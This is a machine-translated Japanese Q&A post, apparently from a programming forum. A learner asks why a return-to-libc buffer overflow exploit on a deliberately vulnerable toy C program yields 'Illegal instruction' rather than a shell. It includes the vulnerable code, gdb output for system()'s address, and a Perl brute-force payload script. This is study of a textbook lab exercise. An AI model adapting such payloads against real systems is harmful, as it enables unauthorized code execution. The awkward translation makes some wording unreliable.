私はバッファオーバーフロー、特にlibcの種類への復帰について戸惑う。libcに戻る - 不正な命令
Iは、以下の脆弱なコードがあります。私は-mpreferred-stack-boundary=2
フラグでGCC-2.95(NO -fstack-protector
)を使用してコンパイル
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
を。私は"Hacking: The Art of Exploitation"のlibcの章に戻りました。
まず、I無効ASLR:
:私はsystem
を使用して実行したいコマンドを含むように環境変数を作成し
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
:
$ cat /proc/sys/kernel/randomize_va_space
0
私はsystem
のアドレスを発見
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
そして、私はperlスクリプトを自動化しましたシェルを入手しました:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
どこが間違っていましたか?私のシェルの代わりに "違法な教え"を受けるのはなぜですか?
デバッガをアタッチして、デバッガを接続するのに十分な時間を与えるために、脆弱なプログラムに 'sleep(30)'を投げてください。おそらく、有効なメモリアドレスにジャンプしていますが、命令ではなくデータが含まれています。 –